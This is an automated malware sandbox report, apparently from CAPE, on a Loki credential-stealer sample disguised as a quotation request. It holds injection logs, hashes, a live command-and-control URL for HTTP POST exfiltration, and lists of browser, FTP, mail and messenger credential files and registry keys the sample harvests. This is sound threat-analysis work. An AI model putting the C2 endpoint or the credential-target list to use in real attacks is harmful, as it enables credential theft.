2020-07-19 10:25:20,625 [root] DEBUG: Successfully injected DLL C:\tmplodztmkc\dll\giflJt.dll.
2020-07-19 10:25:20,625 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3808
2020-07-19 10:25:20,640 [root] DEBUG: CreateProcessHandler: using lpCommandLine: C:\Windows\system32\lsass.exe.
2020-07-19 10:25:20,656 [root] DEBUG: CreateProcessHandler: Injection info set for new process 3808, ImageBase: 0x00000000FFA50000
2020-07-19 10:25:20,656 [root] INFO: Announced 64-bit process name: lsass.exe pid: 3808
2020-07-19 10:25:20,656 [lib.api.process] INFO: Monitor config for process 3808: C:\tmplodztmkc\dll\3808.ini
2020-07-19 10:25:20,656 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmplodztmkc\dll\giflJt.dll, loader C:\tmplodztmkc\bin\CVZXpYvG.exe
2020-07-19 10:25:20,687 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\WlQMEO.
2020-07-19 10:25:20,687 [root] DEBUG: Loader: Injecting process 3808 (thread 3724) with C:\tmplodztmkc\dll\giflJt.dll.
2020-07-19 10:25:20,703 [root] DEBUG: Process image base: 0x00000000FFA50000
2020-07-19 10:25:20,703 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmplodztmkc\dll\giflJt.dll.
2020-07-19 10:25:20,703 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-07-19 10:25:20,718 [root] DEBUG: Successfully injected DLL C:\tmplodztmkc\dll\giflJt.dll.
2020-07-19 10:25:20,718 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3808
2020-07-19 10:25:20,734 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 3808.
2020-07-19 10:25:20,843 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-07-19 10:25:20,859 [root] INFO: Disabling sleep skipping.
2020-07-19 10:25:20,859 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-07-19 10:25:20,859 [root] DEBUG: CAPE initialised: 64-bit monitor loaded in process 3808 at 0x000007FEF0090000, image base 0x00000000FFA50000, stack from 0x00000000001A4000-0x00000000001B0000
2020-07-19 10:25:20,859 [root] DEBUG: Commandline: C:\Windows\sysnative\lsass.exe.
2020-07-19 10:25:20,921 [root] WARNING: b'Unable to place hook on LockResource'
2020-07-19 10:25:20,921 [root] WARNING: b'Unable to hook LockResource'
2020-07-19 10:25:20,937 [root] INFO: Loaded monitor into process with pid 3808
2020-07-19 10:25:50,828 [root] INFO: Process with pid 3808 has terminated
2020-07-19 10:25:59,328 [root] INFO: Announced 32-bit process name: Quotataion Request.exe pid: 4760
2020-07-19 10:25:59,328 [lib.api.process] INFO: Monitor config for process 4760: C:\tmplodztmkc\dll\4760.ini
2020-07-19 10:25:59,328 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmplodztmkc\dll\cLBwZcVz.dll, loader C:\tmplodztmkc\bin\mtoMwcA.exe
2020-07-19 10:25:59,656 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\WlQMEO.
2020-07-19 10:25:59,671 [root] DEBUG: Loader: Injecting process 4760 (thread 3580) with C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:59,671 [root] DEBUG: Process image base: 0x00400000
2020-07-19 10:25:59,671 [root] DEBUG: InjectDllViaIAT: Not a new process, aborting IAT patch
2020-07-19 10:25:59,671 [root] DEBUG: InjectDll: IAT patching failed, falling back to thread injection.
2020-07-19 10:25:59,671 [root] DEBUG: set_caller_info: Adding region at 0x00200000 to caller regions list (ntdll::LdrLoadDll).
2020-07-19 10:25:59,671 [root] DEBUG: set_caller_info: Adding region at 0x01D60000 to caller regions list (kernel32::GetSystemTime).
2020-07-19 10:25:59,687 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x1d60000
2020-07-19 10:25:59,687 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x01D60000 size 0x400000.
2020-07-19 10:25:59,687 [root] DEBUG: DumpPEsInRange: Scanning range 0x1d60000 - 0x1ddf000.
2020-07-19 10:25:59,703 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x1d60000-0x1ddf000.
2020-07-19 10:25:59,734 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\DPOuBl\CAPE\4760_213484825259452319072020 (size 0x52648)
2020-07-19 10:25:59,734 [root] DEBUG: DumpRegion: Dumped base address 0x01D60000, size 0x7f000.
2020-07-19 10:25:59,750 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\DPOuBl\CAPE\4760_79182673459452319072020 (size 0x12b)
2020-07-19 10:25:59,750 [root] DEBUG: DumpRegion: Dumped entire allocation from 0x00200000, size 0x1000.
2020-07-19 10:25:59,765 [root] DEBUG: DLL loaded at 0x04510000: C:\tmplodztmkc\dll\cLBwZcVz (0xd6000 bytes).
2020-07-19 10:25:59,765 [root] DEBUG: DLL unloaded from 0x731E0000.
2020-07-19 10:25:59,765 [root] DEBUG: DLL unloaded from 0x763D0000.
2020-07-19 10:25:59,765 [root] DEBUG: DLL unloaded from 0x731E0000.
2020-07-19 10:25:59,765 [root] DEBUG: DLL unloaded from 0x763D0000.
2020-07-19 10:25:59,781 [root] DEBUG: DLL unloaded from 0x04510000.
2020-07-19 10:25:59,781 [root] DEBUG: Error 998 (0x3e6) - InjectDllViaThread: RtlCreateUserThread injection failed: Invalid access to memory location.
2020-07-19 10:25:59,781 [root] DEBUG: InjectDll: DLL injection via thread failed.
2020-07-19 10:25:59,781 [root] DEBUG: Failed to inject DLL C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:59,796 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 4760, error: 4294967288
2020-07-19 10:25:59,796 [root] DEBUG: ResumeThreadHandler: CurrentInjectionInfo 0x0 (Pid 4760).
2020-07-19 10:26:00,171 [root] DEBUG: DLL loaded at 0x740A0000: C:\Windows\system32\profapi (0xb000 bytes).
2020-07-19 10:26:00,718 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x160 and local view 0x70E30000 to global list.
2020-07-19 10:26:00,718 [root] DEBUG: DLL loaded at 0x70E30000: C:\Program Files (x86)\Mozilla Thunderbird\nss3 (0x134000 bytes).
2020-07-19 10:26:00,734 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x731F0000 for section view with handle 0x160.
2020-07-19 10:26:00,750 [root] DEBUG: DLL loaded at 0x731F0000: C:\Program Files (x86)\Mozilla Thunderbird\mozglue (0x24000 bytes).
2020-07-19 10:26:00,750 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x730E0000 for section view with handle 0x160.
2020-07-19 10:26:00,750 [root] DEBUG: DLL loaded at 0x730E0000: C:\Windows\system32\dbghelp (0xeb000 bytes).
2020-07-19 10:26:00,765 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x73390000 for section view with handle 0x160.
2020-07-19 10:26:00,765 [root] DEBUG: DLL loaded at 0x73390000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-07-19 10:26:00,765 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x72AD0000 for section view with handle 0x160.
2020-07-19 10:26:00,765 [root] DEBUG: DLL loaded at 0x72AD0000: C:\Windows\system32\MSVCP140 (0x71000 bytes).
2020-07-19 10:26:00,781 [root] DEBUG: DLL loaded at 0x72AB0000: C:\Windows\system32\VCRUNTIME140 (0x15000 bytes).
2020-07-19 10:26:00,781 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74420000 for section view with handle 0x160.
2020-07-19 10:26:00,781 [root] DEBUG: DLL loaded at 0x74420000: C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0 (0x4000 bytes).
2020-07-19 10:26:00,796 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74340000 for section view with handle 0x160.
2020-07-19 10:26:00,796 [root] DEBUG: DLL loaded at 0x74340000: C:\Windows\system32\ucrtbase (0xe0000 bytes).
2020-07-19 10:26:00,796 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74330000 for section view with handle 0x160.
2020-07-19 10:26:00,812 [root] DEBUG: DLL loaded at 0x74330000: C:\Windows\system32\api-ms-win-core-timezone-l1-1-0 (0x3000 bytes).
2020-07-19 10:26:00,812 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742F0000 for section view with handle 0x160.
2020-07-19 10:26:00,812 [root] DEBUG: DLL loaded at 0x742F0000: C:\Windows\system32\api-ms-win-core-file-l2-1-0 (0x3000 bytes).
2020-07-19 10:26:00,812 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742E0000 for section view with handle 0x160.
2020-07-19 10:26:00,828 [root] DEBUG: DLL loaded at 0x742E0000: C:\Windows\system32\api-ms-win-core-localization-l1-2-0 (0x3000 bytes).
2020-07-19 10:26:00,828 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742D0000 for section view with handle 0x160.
2020-07-19 10:26:00,828 [root] DEBUG: DLL loaded at 0x742D0000: C:\Windows\system32\api-ms-win-core-processthreads-l1-1-1 (0x3000 bytes).
2020-07-19 10:26:00,828 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742C0000 for section view with handle 0x160.
2020-07-19 10:26:00,843 [root] DEBUG: DLL loaded at 0x742C0000: C:\Windows\system32\api-ms-win-core-file-l1-2-0 (0x3000 bytes).
2020-07-19 10:26:00,843 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742B0000 for section view with handle 0x160.
2020-07-19 10:26:00,843 [root] DEBUG: DLL loaded at 0x742B0000: C:\Windows\system32\api-ms-win-crt-string-l1-1-0 (0x4000 bytes).
2020-07-19 10:26:00,859 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74290000 for section view with handle 0x160.
2020-07-19 10:26:00,859 [root] DEBUG: DLL loaded at 0x74290000: C:\Windows\system32\api-ms-win-crt-heap-l1-1-0 (0x3000 bytes).
2020-07-19 10:26:00,859 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74280000 for section view with handle 0x160.
2020-07-19 10:26:00,859 [root] DEBUG: DLL loaded at 0x74280000: C:\Windows\system32\api-ms-win-crt-stdio-l1-1-0 (0x4000 bytes).
2020-07-19 10:26:00,875 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74270000 for section view with handle 0x160.
2020-07-19 10:26:00,875 [root] DEBUG: DLL loaded at 0x74270000: C:\Windows\system32\api-ms-win-crt-convert-l1-1-0 (0x4000 bytes).
2020-07-19 10:26:00,875 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74250000 for section view with handle 0x160.
2020-07-19 10:26:00,875 [root] DEBUG: DLL loaded at 0x74250000: C:\Windows\system32\api-ms-win-crt-locale-l1-1-0 (0x3000 bytes).
2020-07-19 10:26:00,875 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74260000 for section view with handle 0x160.
2020-07-19 10:26:00,890 [root] DEBUG: DLL loaded at 0x74260000: C:\Windows\system32\api-ms-win-crt-math-l1-1-0 (0x5000 bytes).
2020-07-19 10:26:00,890 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x732B0000 for section view with handle 0x160.
2020-07-19 10:26:00,890 [root] DEBUG: DLL loaded at 0x732B0000: C:\Windows\system32\api-ms-win-crt-multibyte-l1-1-0 (0x5000 bytes).
2020-07-19 10:26:00,890 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74240000 for section view with handle 0x160.
2020-07-19 10:26:00,906 [root] DEBUG: DLL loaded at 0x74240000: C:\Windows\system32\api-ms-win-crt-time-l1-1-0 (0x3000 bytes).
2020-07-19 10:26:00,906 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74200000 for section view with handle 0x160.
2020-07-19 10:26:00,906 [root] DEBUG: DLL loaded at 0x74200000: C:\Windows\system32\api-ms-win-crt-filesystem-l1-1-0 (0x3000 bytes).
2020-07-19 10:26:00,921 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74220000 for section view with handle 0x160.
2020-07-19 10:26:00,921 [root] DEBUG: DLL loaded at 0x74220000: C:\Windows\system32\api-ms-win-crt-environment-l1-1-0 (0x3000 bytes).
2020-07-19 10:26:00,921 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74320000 for section view with handle 0x160.
2020-07-19 10:26:00,921 [root] DEBUG: DLL loaded at 0x74320000: C:\Windows\system32\api-ms-win-crt-utility-l1-1-0 (0x3000 bytes).
2020-07-19 10:26:00,937 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x72A70000 for section view with handle 0x160.
2020-07-19 10:26:00,937 [root] DEBUG: DLL loaded at 0x72A70000: C:\Windows\system32\WINMM (0x32000 bytes).
2020-07-19 10:26:00,953 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x72A60000 for section view with handle 0x160.
2020-07-19 10:26:00,953 [root] DEBUG: DLL loaded at 0x72A60000: C:\Windows\system32\WSOCK32 (0x7000 bytes).
2020-07-19 10:26:00,984 [root] DEBUG: DLL unloaded from 0x70E30000.
2020-07-19 10:26:00,984 [root] DEBUG: DLL unloaded from 0x731E0000.
2020-07-19 10:26:00,984 [root] DEBUG: DLL unloaded from 0x763D0000.
2020-07-19 10:26:01,046 [root] DEBUG: DLL unloaded from 0x731E0000.
2020-07-19 10:26:01,062 [root] DEBUG: DLL unloaded from 0x763D0000.
2020-07-19 10:26:01,062 [root] DEBUG: DLL unloaded from 0x75EA0000.
2020-07-19 10:26:01,062 [root] DEBUG: DLL unloaded from 0x731E0000.
2020-07-19 10:26:01,062 [root] DEBUG: DLL unloaded from 0x763D0000.
2020-07-19 10:26:01,421 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x16c and local view 0x74150000 to global list.
2020-07-19 10:26:01,421 [root] DEBUG: DLL loaded at 0x732B0000: C:\Windows\system32\SAMCLI (0xf000 bytes).
2020-07-19 10:26:01,421 [root] DEBUG: DLL loaded at 0x742A0000: C:\Windows\system32\WKSCLI (0xf000 bytes).
2020-07-19 10:26:01,421 [root] DEBUG: DLL loaded at 0x74150000: C:\Windows\system32\NETAPI32 (0x11000 bytes).
2020-07-19 10:26:01,437 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74300000 for section view with handle 0x16c.
2020-07-19 10:26:01,437 [root] DEBUG: DLL loaded at 0x74300000: C:\Windows\system32\netutils (0x9000 bytes).
2020-07-19 10:26:01,437 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x740D0000 for section view with handle 0x16c.
2020-07-19 10:26:01,437 [root] DEBUG: DLL loaded at 0x740D0000: C:\Windows\system32\srvcli (0x19000 bytes).
2020-07-19 10:26:01,453 [root] DEBUG: DLL loaded at 0x73200000: C:\Windows\system32\SAMLIB (0x12000 bytes).
2020-07-19 10:26:01,468 [root] DEBUG: DLL loaded at 0x740B0000: C:\Windows\system32\USERENV (0x17000 bytes).
2020-07-19 10:26:01,468 [root] DEBUG: DLL loaded at 0x761F0000: C:\Windows\syswow64\CRYPT32 (0x122000 bytes).
2020-07-19 10:26:01,484 [root] DEBUG: DLL loaded at 0x76AA0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2020-07-19 10:26:01,515 [root] DEBUG: DLL loaded at 0x740F0000: C:\Windows\System32\mswsock (0x3c000 bytes).
2020-07-19 10:26:01,546 [root] DEBUG: DLL loaded at 0x72B00000: C:\Windows\system32\DNSAPI (0x44000 bytes).
2020-07-19 10:26:01,546 [root] DEBUG: DLL loaded at 0x744E0000: C:\Windows\system32\IPHLPAPI (0x1c000 bytes).
2020-07-19 10:26:01,562 [root] DEBUG: DLL loaded at 0x744D0000: C:\Windows\system32\WINNSI (0x7000 bytes).
2020-07-19 10:26:02,125 [root] DEBUG: DLL loaded at 0x72AC0000: C:\Windows\System32\fwpuclnt (0x38000 bytes).
2020-07-19 10:26:02,125 [root] DEBUG: DLL loaded at 0x731F0000: C:\Windows\system32\rasadhlp (0x6000 bytes).
2020-07-19 10:26:02,125 [root] DEBUG: DLL loaded at 0x72AB0000: C:\Windows\System32\wship6 (0x6000 bytes).
2020-07-19 10:26:02,140 [root] DEBUG: DLL loaded at 0x74310000: C:\Windows\System32\wshtcpip (0x5000 bytes).
2020-07-19 10:26:03,765 [root] INFO: Added new file to list with pid None and path C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
2020-07-19 10:26:04,687 [root] INFO: Added new file to list with pid None and path C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.exe
2020-07-19 10:28:33,437 [root] INFO: Analysis timeout hit, terminating analysis.
2020-07-19 10:28:33,437 [lib.api.process] ERROR: Failed to open terminate event for pid 1912
2020-07-19 10:28:33,437 [root] INFO: Terminate event set for process 1912.
2020-07-19 10:28:33,437 [lib.api.process] INFO: Terminate event set for process 472
2020-07-19 10:28:33,453 [root] DEBUG: Terminate Event: Attempting to dump process 472
2020-07-19 10:28:33,500 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x00000000FF540000.
2020-07-19 10:28:33,562 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2020-07-19 10:28:33,593 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00000000FF540000.
2020-07-19 10:28:33,609 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000001331C.
2020-07-19 10:28:33,625 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x50000.
2020-07-19 10:28:33,640 [lib.api.process] INFO: Termination confirmed for process 472
2020-07-19 10:28:33,640 [root] INFO: Terminate event set for process 472.
2020-07-19 10:28:33,640 [root] INFO: Created shutdown mutex.
2020-07-19 10:28:33,640 [root] DEBUG: Terminate Event: CAPE shutdown complete for process 472
2020-07-19 10:28:34,640 [root] INFO: Shutting down package.
2020-07-19 10:28:34,640 [root] INFO: Stopping auxiliary modules.
2020-07-19 10:28:34,875 [lib.common.results] WARNING: File C:\DPOuBl\bin\procmon.xml doesn't exist anymore
2020-07-19 10:28:34,875 [root] INFO: Finishing auxiliary modules.
2020-07-19 10:28:34,875 [root] INFO: Shutting down pipe server and dumping dropped files.
2020-07-19 10:28:34,906 [root] WARNING: Folder at path "C:\DPOuBl\debugger" does not exist, skip.
2020-07-19 10:28:34,906 [root] WARNING: Monitor injection attempted but failed for process 4760.
2020-07-19 10:28:34,906 [root] INFO: Analysis completed.

Machine

Name Label Manager Started On Shutdown On
win7x64_4 win7x64_8 KVM 2020-07-19 10:25:12 2020-07-19 10:30:02

File Details

File Name Quotataion Request.exe
File Size 601088 bytes
File Type PE32 executable (GUI) Intel 80386, for MS Windows
PE timestamp 1992-06-19 22:22:17
MD5 040e497c26b9609145715352da4e76d1
SHA1 901893e827a35fddca1563c35514c69d86899993
SHA256 b7a17727462906ac85e4082ac63a7a3884e67c222e36e9696e445b3ff882bf28
SHA512 be1d41b502417f17fffacc5359cf2a4c4c09815543d0288d87e7834429ea797edb8fde7f7bcf64b67e5932329b20743c9766632bd6b90247c61b00e88e6bbc87
CRC32 75AD7031
Ssdeep 12288:8JAmXIijOdiBbgCORh0WsmNg3PGGKLh2z5:JmI/Kngb0PGVg
Download Download ZIP Resubmit sample

Signatures

Behavioural detection: Executable code extraction - unpacking
Yara rule detections observed from a process memory dump/dropped files/CAPE
Hit: PID 1912 trigged the Yara rule 'HeavensGate'
Hit: PID 1912 trigged the Yara rule 'Loki'
Creates RWX memory
Possible date expiration check, exits too soon after checking local time
process: Quotataion Request.exe, PID 1912
Dynamic (imported) function loading detected
DynamicLoader: IMM32.DLL/ImmCreateContext
DynamicLoader: IMM32.DLL/ImmDestroyContext
DynamicLoader: IMM32.DLL/ImmNotifyIME
DynamicLoader: IMM32.DLL/ImmAssociateContext
DynamicLoader: IMM32.DLL/ImmReleaseContext
DynamicLoader: IMM32.DLL/ImmGetContext
DynamicLoader: IMM32.DLL/ImmGetCompositionStringA
DynamicLoader: IMM32.DLL/ImmSetCompositionStringA
DynamicLoader: IMM32.DLL/ImmGetCompositionStringW
DynamicLoader: IMM32.DLL/ImmSetCompositionStringW
DynamicLoader: IMM32.DLL/ImmSetCandidateWindow
DynamicLoader: kernel32.dll/GetDiskFreeSpaceExA
DynamicLoader: OLEAUT32.dll/VariantChangeTypeEx
DynamicLoader: OLEAUT32.dll/VarNeg
DynamicLoader: OLEAUT32.dll/VarNot
DynamicLoader: OLEAUT32.dll/VarAdd
DynamicLoader: OLEAUT32.dll/VarSub
DynamicLoader: OLEAUT32.dll/VarMul
DynamicLoader: OLEAUT32.dll/VarDiv
DynamicLoader: OLEAUT32.dll/VarIdiv
DynamicLoader: OLEAUT32.dll/VarMod
DynamicLoader: OLEAUT32.dll/VarAnd
DynamicLoader: OLEAUT32.dll/VarOr
DynamicLoader: OLEAUT32.dll/VarXor
DynamicLoader: OLEAUT32.dll/VarCmp
DynamicLoader: OLEAUT32.dll/VarI4FromStr
DynamicLoader: OLEAUT32.dll/VarR4FromStr
DynamicLoader: OLEAUT32.dll/VarR8FromStr
DynamicLoader: OLEAUT32.dll/VarDateFromStr
DynamicLoader: OLEAUT32.dll/VarCyFromStr
DynamicLoader: OLEAUT32.dll/VarBoolFromStr
DynamicLoader: OLEAUT32.dll/VarBstrFromCy
DynamicLoader: OLEAUT32.dll/VarBstrFromDate
DynamicLoader: OLEAUT32.dll/VarBstrFromBool
DynamicLoader: USER32.dll/GetMonitorInfoA
DynamicLoader: USER32.dll/GetSystemMetrics
DynamicLoader: USER32.dll/EnumDisplayMonitors
DynamicLoader: USER32.dll/AnimateWindow
DynamicLoader: comctl32.dll/InitializeFlatSB
DynamicLoader: comctl32.dll/UninitializeFlatSB
DynamicLoader: comctl32.dll/FlatSB_GetScrollProp
DynamicLoader: comctl32.dll/FlatSB_SetScrollProp
DynamicLoader: comctl32.dll/FlatSB_EnableScrollBar
DynamicLoader: comctl32.dll/FlatSB_ShowScrollBar
DynamicLoader: comctl32.dll/FlatSB_GetScrollRange
DynamicLoader: comctl32.dll/FlatSB_GetScrollInfo
DynamicLoader: comctl32.dll/FlatSB_GetScrollPos
DynamicLoader: comctl32.dll/FlatSB_SetScrollPos
DynamicLoader: comctl32.dll/FlatSB_SetScrollInfo
DynamicLoader: comctl32.dll/FlatSB_SetScrollRange
DynamicLoader: USER32.dll/SetLayeredWindowAttributes
DynamicLoader: kernel32.dll/GetSystemTimeAsFileTime
DynamicLoader: kernel32.dll/FileTimeToSystemTime
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptCreateHash
DynamicLoader: CRYPTSP.dll/CryptHashData
DynamicLoader: CRYPTSP.dll/CryptGetHashParam
DynamicLoader: CRYPTSP.dll/CryptDestroyHash
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: nss3.dll/NSS_Init
DynamicLoader: nss3.dll/NSS_Shutdown
DynamicLoader: nss3.dll/PK11_GetInternalKeySlot
DynamicLoader: nss3.dll/PK11_FreeSlot
DynamicLoader: nss3.dll/PK11_Authenticate
DynamicLoader: nss3.dll/PK11SDR_Decrypt
DynamicLoader: nss3.dll/PK11_CheckUserPassword
DynamicLoader: nss3.dll/SECITEM_FreeItem
DynamicLoader: kernel32.dll/SetThreadDescription
DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
DynamicLoader: softokn3.dll/NSC_GetFunctionList
DynamicLoader: softokn3.dll/NSC_ModuleDBFunc
DynamicLoader: softokn3.dll/NSC_GetFunctionList
DynamicLoader: freebl3.dll/FREEBL_GetVector
DynamicLoader: CRYPTBASE.dll/SystemFunction001
DynamicLoader: CRYPTBASE.dll/SystemFunction002
DynamicLoader: CRYPTBASE.dll/SystemFunction003
DynamicLoader: CRYPTBASE.dll/SystemFunction004
DynamicLoader: CRYPTBASE.dll/SystemFunction005
DynamicLoader: CRYPTBASE.dll/SystemFunction028
DynamicLoader: CRYPTBASE.dll/SystemFunction029
DynamicLoader: CRYPTBASE.dll/SystemFunction034
DynamicLoader: CRYPTBASE.dll/SystemFunction036
DynamicLoader: CRYPTBASE.dll/SystemFunction040
DynamicLoader: CRYPTBASE.dll/SystemFunction041
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: vaultcli.dll/VaultEnumerateItems
DynamicLoader: vaultcli.dll/VaultEnumerateVaults
DynamicLoader: vaultcli.dll/VaultFree
DynamicLoader: vaultcli.dll/VaultGetItem
DynamicLoader: vaultcli.dll/VaultOpenVault
DynamicLoader: vaultcli.dll/VaultCloseVault
DynamicLoader: nss3.dll/NSS_Init
DynamicLoader: nss3.dll/NSS_Shutdown
DynamicLoader: nss3.dll/PK11_GetInternalKeySlot
DynamicLoader: nss3.dll/PK11_FreeSlot
DynamicLoader: nss3.dll/PK11_Authenticate
DynamicLoader: nss3.dll/PK11SDR_Decrypt
DynamicLoader: nss3.dll/PK11_CheckUserPassword
DynamicLoader: nss3.dll/SECITEM_FreeItem
DynamicLoader: nss3.dll/sqlite3_finalize
DynamicLoader: nss3.dll/sqlite3_step
DynamicLoader: nss3.dll/sqlite3_close
DynamicLoader: nss3.dll/sqlite3_column_text
DynamicLoader: nss3.dll/sqlite3_open16
DynamicLoader: nss3.dll/sqlite3_prepare_v2
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: NETAPI32.DLL/NetUserGetInfo
DynamicLoader: CRYPTSP.dll/CryptImportKey
DynamicLoader: CRYPTSP.dll/CryptSetKeyParam
DynamicLoader: CRYPTSP.dll/CryptDecrypt
DynamicLoader: CRYPTSP.dll/CryptDestroyKey
DynamicLoader: NETAPI32.DLL/NetUserGetInfo
CAPE extracted potentially suspicious content
Quotataion Request.exe: Unpacked Shellcode
Quotataion Request.exe: Loki Payload: 32-bit executable
Quotataion Request.exe: Loki
Quotataion Request.exe: Unpacked Shellcode
Quotataion Request.exe: Unpacked Shellcode
Quotataion Request.exe: Unpacked Shellcode
HTTP traffic contains suspicious features which may be indicative of malware related traffic
post_no_referer: HTTP traffic contains a POST request with no referer header
http_version_old: HTTP traffic uses version 1.0
suspicious_request: http://eloquentcs.com/five/fre.php
Performs some HTTP requests
url: http://eloquentcs.com/five/fre.php
The binary contains an unknown PE section name indicative of packing
unknown section: name: CODE, entropy: 6.65, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x00062600, virtual_size: 0x00062474
unknown section: name: DATA, entropy: 4.32, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00001c00, virtual_size: 0x00001a3c
unknown section: name: BSS, entropy: 0.00, characteristics: IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00000000, virtual_size: 0x00000f0d
The binary likely contains encrypted or compressed data.
section: name: .rsrc, entropy: 7.13, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ, raw_size: 0x00025200, virtual_size: 0x0002514c
Authenticode signature is invalid
authenticode error: No signature found. SignTool Error File not valid C\Users\Louise\AppData\Local\Temp\Quotataion Request.exe
Behavioural detection: Injection (Process Hollowing)
Injection: Quotataion Request.exe(1912) -> Quotataion Request.exe(4760)
Executed a process and injected code into it, probably while unpacking
Injection: Quotataion Request.exe(1912) -> Quotataion Request.exe(4760)
Deletes its original binary from disk
Behavioural detection: Injection (inter-process)
Attempts to repeatedly call a single API many times in order to delay analysis time
Spam: services.exe (472) called API GetSystemTimeAsFileTime 274314 times
Steals private information from local Internet browsers
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\logins.json
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\pkcs11.txt
file: C:\Users\Louise\AppData\Local\Google\Chrome\User Data\Default\Login Data
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\profiles.ini
A process attempted to collect browser passwords
Process: Quotataion Request.exe (4760)
Spoofs its process name and/or associated pathname to appear as a legitimate process
original_name: Quotataion Request.exe
original_path: C:\Users\Louise\AppData\Local\Temp\Quotataion Request.exe
modified_name: quotataion request.exe
modified_path: C:\Users\Louise\AppData\Local\Temp\quotataion request.exe
CAPE detected the Loki malware family
Creates a copy of itself
copy: C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.exe
Harvests credentials from local FTP client softwares
file: C:\Users\Louise\AppData\Roaming\FileZilla\sitemanager.xml
file: C:\Users\Louise\AppData\Roaming\FileZilla\recentservers.xml
file: C:\Users\Louise\AppData\Roaming\Far Manager\Profile\PluginsData\42E4AEB1-A230-44F4-B33C-F195BB654931.db
file: C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file: C:\Users\Louise\AppData\Roaming\FTPGetter\servers.xml
file: C:\Users\Louise\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
key: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
key: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
key: HKEY_CURRENT_USER\Software\Ghisler\Total Commander
key: HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
Harvests information related to installed instant messenger clients
file: C:\Users\Louise\AppData\Roaming\.purple\accounts.xml
Harvests information related to installed mail clients
file: C:\Users\Louise\AppData\Roaming\Thunderbird\profiles.ini
key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
